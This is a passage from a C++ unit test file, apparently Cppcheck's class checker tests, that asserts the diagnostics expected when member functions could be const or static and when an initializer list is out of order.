member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void constFunc() {\n checkConst(\"class Fred {\\n\"\n \" void f() const { };\\n\"\n \" void a() { f(); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Fred::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::a' can be const. [functionConst]\\n\", errout_str());\n\n // ticket #1593\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" unsigned int GetVecSize() {return m_v.size();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (style, inconclusive) Technically the member function 'A::GetVecSize' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A\\n\"\n \"{\\n\"\n \" std::vector m_v;\\n\"\n \"public:\\n\"\n \" A(){}\\n\"\n \" bool GetVecEmpty() {return m_v.empty();}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style, inconclusive) Technically the member function 'A::GetVecEmpty' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constVirtualFunc() {\n // base class has no virtual function\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A { };\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:6:8] -> [test.cpp:8:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:9:9] -> [test.cpp:11:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" virtual int func() = 0;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // base class has no virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'A::func' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'B::func' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'C::func' can be const. [functionConst]\\n\", errout_str());\n\n // base class has virtual function\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func() { return a; }\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func() { return b; }\\n\"\n \"};\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func() { return c; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class A {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" A() : a(0) { }\\n\"\n \" virtual int func();\\n\"\n \"};\\n\"\n \"int A::func() { return a; }\\n\"\n \"class B : public A {\\n\"\n \" int b;\\n\"\n \"public:\\n\"\n \" B() : b(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int B::func() { return b; }\\n\"\n \"class C : public B {\\n\"\n \" int c;\\n\"\n \"public:\\n\"\n \" C() : c(0) { }\\n\"\n \" int func();\\n\"\n \"};\\n\"\n \"int C::func() { return c; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1311\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX() { return x; }\\n\"\n \"};\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY() { return y; }\\n\"\n \"};\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ() { return z; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:11:9]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:17:9]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class X {\\n\"\n \" int x;\\n\"\n \"public:\\n\"\n \" X(int x) : x(x) { }\\n\"\n \" int getX();\\n\"\n \"};\\n\"\n \"int X::getX() { return x; }\\n\"\n \"class Y : public X {\\n\"\n \" int y;\\n\"\n \"public:\\n\"\n \" Y(int x, int y) : X(x), y(y) { }\\n\"\n \" int getY();\\n\"\n \"};\\n\"\n \"int Y::getY() { return y; }\\n\"\n \"class Z : public Y {\\n\"\n \" int z;\\n\"\n \"public:\\n\"\n \" Z(int x, int y, int z) : Y(x, y), z(z) { }\\n\"\n \" int getZ();\\n\"\n \"};\\n\"\n \"int Z::getZ() { return z; }\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:7:8]: (style, inconclusive) Technically the member function 'X::getX' can be const. [functionConst]\\n\"\n \"[test.cpp:12:9] -> [test.cpp:14:8]: (style, inconclusive) Technically the member function 'Y::getY' can be const. [functionConst]\\n\"\n \"[test.cpp:19:9] -> [test.cpp:21:8]: (style, inconclusive) Technically the member function 'Z::getZ' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constIfCfg() {\n const char code[] = \"struct foo {\\n\"\n \" int i;\\n\"\n \" void f() {\\n\"\n //\"#ifdef ABC\\n\"\n //\" i = 4;\\n\"\n //\"endif\\n\"\n \" }\\n\"\n \"};\";\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'foo::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(code, dinit(CheckConstOptions, $.s = &settings0, $.inconclusive = false)); // TODO: Set inconclusive to true (preprocess it)\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constFriend() { // ticket #1921\n const char code[] = \"class foo {\\n\"\n \" friend void f() { }\\n\"\n \"};\";\n checkConst(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constUnion() { // ticket #2111\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" union {\\n\"\n \" int i;\\n\"\n \" float f;\\n\"\n \" } d;\\n\"\n \" void setf(float x) {\\n\"\n \" d.f = x;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constArrayOperator() {\n checkConst(\"struct foo {\\n\"\n \" int x;\\n\"\n \" int y[5][724];\\n\"\n \" T a() {\\n\"\n \" return y[x++][6];\\n\"\n \" }\\n\"\n \" T b() {\\n\"\n \" return y[1][++x];\\n\"\n \" }\\n\"\n \" T c() {\\n\"\n \" return y[1][6];\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:7]: (style, inconclusive) Technically the member function 'foo::c' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constRangeBasedFor() { // #5514\n checkConst(\"class Fred {\\n\"\n \" int array[256];\\n\"\n \"public:\\n\"\n \" void f1() {\\n\"\n \" for (auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" for (const auto & e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \" void f3() {\\n\"\n \" for (decltype(auto) e : array)\\n\"\n \" foo(e);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'Fred::f2' can be const. [functionConst]\\n\", errout_str());\n }\n\n void const_shared_ptr() { // #8674\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" std::shared_ptr getData();\\n\"\n \"private:\\n\"\n \" std::shared_ptr data;\\n\"\n \"};\\n\"\n \"\\n\"\n \"std::shared_ptr Fred::getData() { return data; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constPtrToConstPtr() {\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const char *const *data;\\n\"\n \" const char *const *getData() { return data; }\\n}\");\n ASSERT_EQUALS(\"[test.cpp:4:24]: (style, inconclusive) Technically the member function 'Fred::getData' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constTrailingReturnType() { // #9814\n checkConst(\"struct A {\\n\"\n \" int x = 1;\\n\"\n \" auto get() -> int & { return x; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constRefQualified() { // #12920\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" const Data& get() & { return data; }\\n\"\n \"private:\\n\"\n \" Data data;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void staticArrayPtrOverload() {\n checkConst(\"struct S {\\n\"\n \" template\\n\"\n \" void f(const std::array& sv);\\n\"\n \" template\\n\"\n \" void f(const char* const (&StrArr)[N]);\\n\"\n \"};\\n\"\n \"template\\n\"\n \"void S::f(const std::array& sv) {\\n\"\n \" const char* ptrs[N]{};\\n\"\n \" return f(ptrs);\\n\"\n \"}\\n\"\n \"template void S::f(const std::array& sv);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void qualifiedNameMember() { // #10872\n const Settings s = settingsBuilder().severity(Severity::style).debugwarnings().library(\"std.cfg\").build();\n checkConst(\"struct data {};\\n\"\n \" struct S {\\n\"\n \" std::vector std;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::vector::const_iterator end = std.end();\\n\"\n \"}\\n\", dinit(CheckConstOptions, $.s = &s));\n ASSERT_EQUALS(\"[test.cpp:4:10] -> [test.cpp:6:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n }\n\n#define checkInitializerListOrder(...) checkInitializerListOrder_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInitializerListOrder_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings2, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings2, this);\n checkClass.initializerListOrder();\n }\n\n void initializerListOrder() {\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, b, c;\\n\"\n \"public:\\n\"\n \" Fred() : c(0), b(0), a(0) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:20] -> [test.cpp:2:12]: (style, inconclusive) Member variable 'Fred::b' is in the wrong place in the initializer list. [initializerList]\\n\"\n \"[test.cpp:4:26] -> [test.cpp:2:9]: (style, inconclusive) Member variable 'Fred::a' is in the wrong place in the initializer list. [initializerList]\\n\", errout_str());\n\n checkInitializerListOrder(\"class Fred {\\n\"\n \" int a, 